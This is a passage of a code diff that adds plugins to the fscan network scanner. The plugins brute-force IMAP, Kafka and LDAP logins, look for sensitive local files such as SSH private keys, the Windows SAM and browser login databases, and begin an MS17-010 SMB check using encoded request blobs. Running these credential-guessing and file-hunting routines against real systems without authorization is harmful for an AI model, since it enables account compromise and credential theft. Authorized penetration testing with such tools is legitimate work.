var ipv4Addrs []string
|
||||
var ipv6Addrs []string
|
||||
seenAddresses := make(map[string]bool)
|
||||
|
||||
// 解析网络信息
|
||||
netInfo := strings.Replace(encodedStr, "0700", "", -1)
|
||||
segments := strings.Split(netInfo, "000000")
|
||||
|
||||
// 处理每个网络地址
|
||||
for _, segment := range segments {
|
||||
if len(segment) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
if len(segment)%2 != 0 {
|
||||
segment = segment + "0"
|
||||
}
|
||||
|
||||
addrBytes, err := hex.DecodeString(segment)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
addr := cleanAndValidateAddress(addrBytes)
|
||||
if addr != "" && !seenAddresses[addr] {
|
||||
seenAddresses[addr] = true
|
||||
|
||||
if strings.Contains(addr, ":") {
|
||||
ipv6Addrs = append(ipv6Addrs, addr)
|
||||
} else if net.ParseIP(addr) != nil {
|
||||
ipv4Addrs = append(ipv4Addrs, addr)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 构建详细信息
|
||||
details := map[string]interface{}{
|
||||
"hostname": name,
|
||||
"ipv4": ipv4Addrs,
|
||||
"ipv6": ipv6Addrs,
|
||||
}
|
||||
|
||||
// 保存扫描结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.SERVICE,
|
||||
Target: host,
|
||||
Status: "identified",
|
||||
Details: details,
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
|
||||
// 构建控制台输出
|
||||
var output strings.Builder
|
||||
output.WriteString("NetInfo 扫描结果")
|
||||
output.WriteString(fmt.Sprintf("\n目标主机: %s", host))
|
||||
if name != "" {
|
||||
output.WriteString(fmt.Sprintf("\n主机名: %s", name))
|
||||
}
|
||||
output.WriteString("\n发现的网络接口:")
|
||||
|
||||
if len(ipv4Addrs) > 0 {
|
||||
output.WriteString("\n IPv4地址:")
|
||||
for _, addr := range ipv4Addrs {
|
||||
output.WriteString(fmt.Sprintf("\n └─ %s", addr))
|
||||
}
|
||||
}
|
||||
|
||||
if len(ipv6Addrs) > 0 {
|
||||
output.WriteString("\n IPv6地址:")
|
||||
for _, addr := range ipv6Addrs {
|
||||
output.WriteString(fmt.Sprintf("\n └─ %s", addr))
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogSuccess(output.String())
|
||||
return nil
|
||||
}
|
169
Plugins/IMAP.go
Normal file
169
Plugins/IMAP.go
Normal file
@ -0,0 +1,169 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// IMAPScan 主扫描函数
|
||||
func IMAPScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
totalUsers := len(Common.Userdict["imap"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
for _, user := range Common.Userdict["imap"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := IMAPConn(info, user, pass)
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success {
|
||||
successMsg := fmt.Sprintf("IMAP服务 %s 爆破成功 用户名: %v 密码: %v", target, user, pass)
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "imap",
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"type": "weak-password",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errMsg := fmt.Sprintf("IMAP服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v", target, user, pass, err)
|
||||
Common.LogError(errMsg)
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// IMAPConn 连接测试函数
|
||||
func IMAPConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
host, port := info.Host, info.Ports
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
addr := fmt.Sprintf("%s:%s", host, port)
|
||||
|
||||
// 尝试普通连接
|
||||
conn, err := net.DialTimeout("tcp", addr, timeout)
|
||||
if err == nil {
|
||||
if flag, err := tryIMAPAuth(conn, user, pass, timeout); err == nil {
|
||||
return flag, nil
|
||||
}
|
||||
conn.Close()
|
||||
}
|
||||
|
||||
// 尝试TLS连接
|
||||
tlsConfig := &tls.Config{
|
||||
InsecureSkipVerify: true,
|
||||
}
|
||||
conn, err = tls.DialWithDialer(&net.Dialer{Timeout: timeout}, "tcp", addr, tlsConfig)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("连接失败: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
return tryIMAPAuth(conn, user, pass, timeout)
|
||||
}
|
||||
|
||||
// tryIMAPAuth 尝试IMAP认证
|
||||
func tryIMAPAuth(conn net.Conn, user string, pass string, timeout time.Duration) (bool, error) {
|
||||
conn.SetDeadline(time.Now().Add(timeout))
|
||||
|
||||
reader := bufio.NewReader(conn)
|
||||
_, err := reader.ReadString('\n')
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("读取欢迎消息失败: %v", err)
|
||||
}
|
||||
|
||||
loginCmd := fmt.Sprintf("a001 LOGIN \"%s\" \"%s\"\r\n", user, pass)
|
||||
_, err = conn.Write([]byte(loginCmd))
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("发送登录命令失败: %v", err)
|
||||
}
|
||||
|
||||
for {
|
||||
conn.SetDeadline(time.Now().Add(timeout))
|
||||
response, err := reader.ReadString('\n')
|
||||
if err != nil {
|
||||
if err == io.EOF {
|
||||
return false, fmt.Errorf("认证失败")
|
||||
}
|
||||
return false, fmt.Errorf("读取响应失败: %v", err)
|
||||
}
|
||||
|
||||
if strings.Contains(response, "a001 OK") {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
if strings.Contains(response, "a001 NO") || strings.Contains(response, "a001 BAD") {
|
||||
return false, fmt.Errorf("认证失败")
|
||||
}
|
||||
}
|
||||
}
|
177
Plugins/Kafka.go
Normal file
177
Plugins/Kafka.go
Normal file
@ -0,0 +1,177 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/IBM/sarama"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func KafkaScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 尝试无认证访问
|
||||
Common.LogDebug("尝试无认证访问...")
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试无认证访问", retryCount+1))
|
||||
}
|
||||
flag, err := KafkaConn(info, "", "")
|
||||
if flag && err == nil {
|
||||
// 保存无认证访问结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "kafka",
|
||||
"type": "unauthorized-access",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
Common.LogSuccess(fmt.Sprintf("Kafka服务 %s 无需认证即可访问", target))
|
||||
return nil
|
||||
}
|
||||
if err != nil && Common.CheckErrs(err) != nil {
|
||||
if retryCount < maxRetries-1 {
|
||||
continue
|
||||
}
|
||||
return err
|
||||
}
|
||||
break
|
||||
}
|
||||
|
||||
totalUsers := len(Common.Userdict["kafka"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["kafka"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := KafkaConn(info, user, pass)
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
// 保存爆破成功结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "kafka",
|
||||
"type": "weak-password",
|
||||
"username": user,
|
||||
"password": pass,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
Common.LogSuccess(fmt.Sprintf("Kafka服务 %s 爆破成功 用户名: %s 密码: %s", target, user, pass))
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("Kafka服务 %s 尝试失败 用户名: %s 密码: %s 错误: %v",
|
||||
target, user, pass, err))
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// KafkaConn 尝试 Kafka 连接
|
||||
func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
host, port := info.Host, info.Ports
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
config := sarama.NewConfig()
|
||||
config.Net.DialTimeout = timeout
|
||||
config.Net.TLS.Enable = false
|
||||
config.Version = sarama.V2_0_0_0
|
||||
|
||||
// 设置 SASL 配置
|
||||
if user != "" || pass != "" {
|
||||
config.Net.SASL.Enable = true
|
||||
config.Net.SASL.Mechanism = sarama.SASLTypePlaintext
|
||||
config.Net.SASL.User = user
|
||||
config.Net.SASL.Password = pass
|
||||
config.Net.SASL.Handshake = true
|
||||
}
|
||||
|
||||
brokers := []string{fmt.Sprintf("%s:%s", host, port)}
|
||||
|
||||
// 尝试作为消费者连接测试
|
||||
consumer, err := sarama.NewConsumer(brokers, config)
|
||||
if err == nil {
|
||||
defer consumer.Close()
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// 如果消费者连接失败,尝试作为客户端连接
|
||||
client, err := sarama.NewClient(brokers, config)
|
||||
if err == nil {
|
||||
defer client.Close()
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// 检查错误类型
|
||||
if strings.Contains(err.Error(), "SASL") ||
|
||||
strings.Contains(err.Error(), "authentication") ||
|
||||
strings.Contains(err.Error(), "credentials") {
|
||||
return false, fmt.Errorf("认证失败")
|
||||
}
|
||||
|
||||
return false, err
|
||||
}
|
166
Plugins/LDAP.go
Normal file
166
Plugins/LDAP.go
Normal file
@ -0,0 +1,166 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/go-ldap/ldap/v3"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func LDAPScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
Common.LogDebug("尝试匿名访问...")
|
||||
|
||||
// 首先尝试匿名访问
|
||||
flag, err := LDAPConn(info, "", "")
|
||||
if flag && err == nil {
|
||||
// 记录匿名访问成功
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "ldap",
|
||||
"type": "anonymous-access",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
Common.LogSuccess(fmt.Sprintf("LDAP服务 %s 匿名访问成功", target))
|
||||
return err
|
||||
}
|
||||
|
||||
totalUsers := len(Common.Userdict["ldap"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["ldap"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := LDAPConn(info, user, pass)
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
// 记录成功爆破的凭据
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "ldap",
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"type": "weak-password",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
Common.LogSuccess(fmt.Sprintf("LDAP服务 %s 爆破成功 用户名: %v 密码: %v", target, user, pass))
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("LDAP服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v", target, user, pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func LDAPConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
address := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 配置LDAP连接
|
||||
l, err := ldap.Dial("tcp", address)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer l.Close()
|
||||
|
||||
// 设置超时
|
||||
l.SetTimeout(timeout)
|
||||
|
||||
// 尝试绑定
|
||||
if user != "" {
|
||||
bindDN := fmt.Sprintf("cn=%s,dc=example,dc=com", user)
|
||||
err = l.Bind(bindDN, pass)
|
||||
} else {
|
||||
err = l.UnauthenticatedBind("")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 尝试简单搜索以验证权限
|
||||
searchRequest := ldap.NewSearchRequest(
|
||||
"dc=example,dc=com",
|
||||
ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false,
|
||||
"(objectClass=*)",
|
||||
[]string{"dn"},
|
||||
nil,
|
||||
)
|
||||
|
||||
_, err = l.Search(searchRequest)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
218
Plugins/LocalInfo.go
Normal file
218
Plugins/LocalInfo.go
Normal file
@ -0,0 +1,218 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var (
|
||||
// 文件扫描黑名单,跳过这些类型和目录
|
||||
blacklist = []string{
|
||||
".exe", ".dll", ".png", ".jpg", ".bmp", ".xml", ".bin",
|
||||
".dat", ".manifest", "locale", "winsxs", "windows\\sys",
|
||||
}
|
||||
|
||||
// 敏感文件关键词白名单
|
||||
whitelist = []string{
|
||||
"密码", "账号", "账户", "配置", "服务器",
|
||||
"数据库", "备忘", "常用", "通讯录",
|
||||
}
|
||||
|
||||
// Linux系统关键配置文件路径
|
||||
linuxSystemPaths = []string{
|
||||
// Apache配置
|
||||
"/etc/apache/httpd.conf",
|
||||
"/etc/httpd/conf/httpd.conf",
|
||||
"/etc/httpd/httpd.conf",
|
||||
"/usr/local/apache/conf/httpd.conf",
|
||||
"/home/httpd/conf/httpd.conf",
|
||||
"/usr/local/apache2/conf/httpd.conf",
|
||||
"/usr/local/httpd/conf/httpd.conf",
|
||||
"/etc/apache2/sites-available/000-default.conf",
|
||||
"/etc/apache2/sites-enabled/*",
|
||||
"/etc/apache2/sites-available/*",
|
||||
"/etc/apache2/apache2.conf",
|
||||
|
||||
// Nginx配置
|
||||
"/etc/nginx/nginx.conf",
|
||||
"/etc/nginx/conf.d/nginx.conf",
|
||||
|
||||
// 系统配置文件
|
||||
"/etc/hosts.deny",
|
||||
"/etc/bashrc",
|
||||
"/etc/issue",
|
||||
"/etc/issue.net",
|
||||
"/etc/ssh/ssh_config",
|
||||
"/etc/termcap",
|
||||
"/etc/xinetd.d/*",
|
||||
"/etc/mtab",
|
||||
"/etc/vsftpd/vsftpd.conf",
|
||||
"/etc/xinetd.conf",
|
||||
"/etc/protocols",
|
||||
"/etc/logrotate.conf",
|
||||
"/etc/ld.so.conf",
|
||||
"/etc/resolv.conf",
|
||||
"/etc/sysconfig/network",
|
||||
"/etc/sendmail.cf",
|
||||
"/etc/sendmail.cw",
|
||||
|
||||
// proc信息
|
||||
"/proc/mounts",
|
||||
"/proc/cpuinfo",
|
||||
"/proc/meminfo",
|
||||
"/proc/self/environ",
|
||||
"/proc/1/cmdline",
|
||||
"/proc/1/mountinfo",
|
||||
"/proc/1/fd/*",
|
||||
"/proc/1/exe",
|
||||
"/proc/config.gz",
|
||||
|
||||
// 用户配置文件
|
||||
"/root/.ssh/authorized_keys",
|
||||
"/root/.ssh/id_rsa",
|
||||
"/root/.ssh/id_rsa.keystore",
|
||||
"/root/.ssh/id_rsa.pub",
|
||||
"/root/.ssh/known_hosts",
|
||||
"/root/.bash_history",
|
||||
"/root/.mysql_history",
|
||||
}
|
||||
|
||||
// Windows系统关键配置文件路径
|
||||
windowsSystemPaths = []string{
|
||||
"C:\\boot.ini",
|
||||
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
|
||||
"C:\\windows\\repair\\sam",
|
||||
"C:\\windows\\system32\\config\\sam",
|
||||
}
|
||||
)
|
||||
|
||||
// LocalInfoScan 本地信息收集主函数
|
||||
func LocalInfoScan(info *Common.HostInfo) (err error) {
|
||||
Common.LogInfo("开始本地信息收集...")
|
||||
|
||||
// 获取用户主目录
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("获取用户主目录失败: %v", err))
|
||||
return err
|
||||
}
|
||||
|
||||
// 扫描固定位置的敏感文件
|
||||
scanFixedLocations(home)
|
||||
|
||||
// 根据规则搜索敏感文件
|
||||
searchSensitiveFiles()
|
||||
|
||||
Common.LogInfo("本地信息收集完成")
|
||||
return nil
|
||||
}
|
||||
|
||||
// scanFixedLocations 扫描固定位置的敏感文件
|
||||
func scanFixedLocations(home string) {
|
||||
var paths []string
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
// 添加Windows固定路径
|
||||
paths = append(paths, windowsSystemPaths...)
|
||||
paths = append(paths, []string{
|
||||
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
|
||||
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Local State"),
|
||||
filepath.Join(home, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
|
||||
filepath.Join(home, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
|
||||
}...)
|
||||
|
||||
case "linux":
|
||||
// 添加Linux固定路径
|
||||
paths = append(paths, linuxSystemPaths...)
|
||||
paths = append(paths, []string{
|
||||
filepath.Join(home, ".config", "google-chrome", "Default", "Login Data"),
|
||||
filepath.Join(home, ".mozilla", "firefox"),
|
||||
}...)
|
||||
}
|
||||
|
||||
for _, path := range paths {
|
||||
// 处理通配符路径
|
||||
if strings.Contains(path, "*") {
|
||||
var _ = strings.ReplaceAll(path, "*", "")
|
||||
if files, err := filepath.Glob(path); err == nil {
|
||||
for _, file := range files {
|
||||
checkAndLogFile(file)
|
||||
}
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
checkAndLogFile(path)
|
||||
}
|
||||
}
|
||||
|
||||
// checkAndLogFile 检查并记录敏感文件
|
||||
func checkAndLogFile(path string) {
|
||||
if _, err := os.Stat(path); err == nil {
|
||||
Common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", path))
|
||||
}
|
||||
}
|
||||
|
||||
// searchSensitiveFiles 搜索敏感文件
|
||||
func searchSensitiveFiles() {
|
||||
var searchPaths []string
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
// Windows下常见的敏感目录
|
||||
home, _ := os.UserHomeDir()
|
||||
searchPaths = []string{
|
||||
"C:\\Users\\Public\\Documents",
|
||||
"C:\\Users\\Public\\Desktop",
|
||||
filepath.Join(home, "Desktop"),
|
||||
filepath.Join(home, "Documents"),
|
||||
filepath.Join(home, "Downloads"),
|
||||
"C:\\Program Files",
|
||||
"C:\\Program Files (x86)",
|
||||
}
|
||||
case "linux":
|
||||
// Linux下常见的敏感目录
|
||||
home, _ := os.UserHomeDir()
|
||||
searchPaths = []string{
|
||||
"/home",
|
||||
"/opt",
|
||||
"/usr/local",
|
||||
"/var/www",
|
||||
"/var/log",
|
||||
filepath.Join(home, "Desktop"),
|
||||
filepath.Join(home, "Documents"),
|
||||
filepath.Join(home, "Downloads"),
|
||||
}
|
||||
}
|
||||
|
||||
// 在限定目录下搜索
|
||||
for _, searchPath := range searchPaths {
|
||||
filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 跳过黑名单目录和文件
|
||||
for _, black := range blacklist {
|
||||
if strings.Contains(strings.ToLower(path), black) {
|
||||
return filepath.SkipDir
|
||||
}
|
||||
}
|
||||
|
||||
// 检查白名单关键词
|
||||
for _, white := range whitelist {
|
||||
fileName := strings.ToLower(info.Name())
|
||||
if strings.Contains(fileName, white) {
|
||||
Common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path))
|
||||
break
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
288
Plugins/MS17010.go
Normal file
288
Plugins/MS17010.go
Normal file
@ -0,0 +1,288 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
// SMB协议加密的请求数据
|
||||
negotiateProtocolRequest_enc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
|
||||
sessionSetupRequest_enc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
|
||||
treeConnectRequest_enc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
|
||||
transNamedPipeRequest_enc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
|
||||
trans2SessionSetupRequest_enc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk="
|
||||
|
